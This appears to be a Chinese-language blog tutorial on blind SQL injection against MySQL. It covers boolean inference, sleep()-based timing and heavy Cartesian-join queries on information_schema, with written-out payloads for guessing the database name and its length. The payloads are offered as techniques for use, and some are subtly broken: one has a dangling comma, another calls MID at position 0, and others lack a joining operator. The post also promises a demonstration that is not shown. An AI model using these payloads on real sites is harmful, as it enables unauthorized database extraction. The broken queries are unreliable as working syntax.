扒一扒冷門的sql注入姿勢
本文的資料庫討論的是mysql,不講帶有顯示的注入,這裡只討論盲注。
boolean類型注入
這類注入出現在某些沒有顯示位置的,不列印mysql報錯信息,並且union select 之後沒有顯示的位置。換言之,只要你以注入的話,他只有兩種情況,頁面正確,頁面錯誤。下面簡單演示下:
加上一個and 條件,判斷database第一位的ASCII值
然而就可以用二分法注入了,或者自己寫個腳本之類的。
基於時間的注入
講到盲注不得不提延時注入,有幾個函數sleep, benchmark。有時候boolen盲注用不了的時候就需要利用時間差來注入了。
要查詢的數據放在if條件裡面,由於是計算時間差,當然and,or,xor等等這些都是可以的,下面是幾個語句
猜長度
select * from user where username=『admin』 xor (SELECT if(((SELECT length(database()) limit 0,1) = 0),sleep(9),0))%23
猜資料庫內容
select * from user where username=『admin』 xor (SELECT if((select(MID(database(),0,1)) = 0),sleep(1),0))
如果條件存在就sleep一秒,在實際過程中處於網路因素的考慮,通常來說,會sleep一個大數字。比如說網路不好的時候,你訪問一個網頁要2秒,為了比較,你sleep()的數字肯定要更大一些的。
有時候,sleep這些比較冷門的函數也會被開發人員過濾掉,這個時候就需要用到heavy-query了。
當一個時間盲注中不能用sleep等函數的時候,為了達到延時的效果,可以查詢一些量比較大的表做笛卡爾集運算,導致查詢緩慢。
利用sql語句
SELECT count(*) FROM information_schema.columns A, information_schema.columns B,
where後面跟的是一個條件,利用and的性質來判斷。當兩個都為真的時候,就運行後面的語句。
假設在某個sql注入中,他的位置出現在where後面,可以考慮如下利用場景:
select * from admin where id=1 and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);
有延時
select * from admin where id=1 and 1=2 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);
無延時
猜測資料庫名長度
select * from admin where id=『admin』 (SELECT length(database()) limit 0,1) = 0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);
猜測資料庫名
select * from admin where id=『admin』 select(MID(database(),0,1)) = 0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);
推薦閱讀:
※whu計算機類的三個專業都有什麼特點?
※通過Wireshark+driftnet查看數據流里的圖片詳情
※中了勒索病毒前期有什麼預兆呢?
※大俠方興之重出江湖|新銳
※信息安全專業好的大學?